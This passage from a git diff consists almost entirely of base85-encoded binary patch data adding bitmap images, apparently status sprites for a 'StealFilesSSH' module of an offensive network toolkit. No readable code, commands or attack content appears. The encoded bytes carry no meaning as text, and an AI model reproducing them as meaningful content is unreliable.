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 V|1nk=um3vl{}k)r^s$A-{{soS$*TYW literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH8.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH8.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 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 YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH9.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH9.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 zcmd^`b$lC1wx~02@7~?JIIxp}FgW0tzl#gt1o@p0HVB0Er-}V?E&Qw&_zFb*p2w9dg#T}j--Y%3oN#_dIL8xC_RbF1 zPIqSUn`8L(f#bE_69W68;Ew&slwjM9F zAA!QFz4-OPn@ z;&=L@_Xna52BLO*!#6rHn_UrG-Qin35u4qSTiqZJ&XHSPKS>w2!neAxn;pdSn*?h0 zMsN2eZV#qzkLK-6Rqijg9d1pZ9B!STpMDc~!B8S7 zu+fn-CXRNCZOiRjMoZpa@S?&?JAsb61RA;OvbfG!oa16IUlDO3$51_X}>b*!k zaR70%H*SA8>0ksmRUI-^;b`L<0-0BS4o-F$epZ;`K z(4qUg(_@X%FQOd-tW<4d8Og9!)2Nx;~^gdhQvAC2J#O8kukIGC?JWVu5j`hcno<8U~F1FQ!_N&ACI zTRkz`-BH^;(c3*yo4v7H1IfG7W%&K&{}sFTbhO&5X_&L}*wHWtvk2x$D3@xP=IdG{ 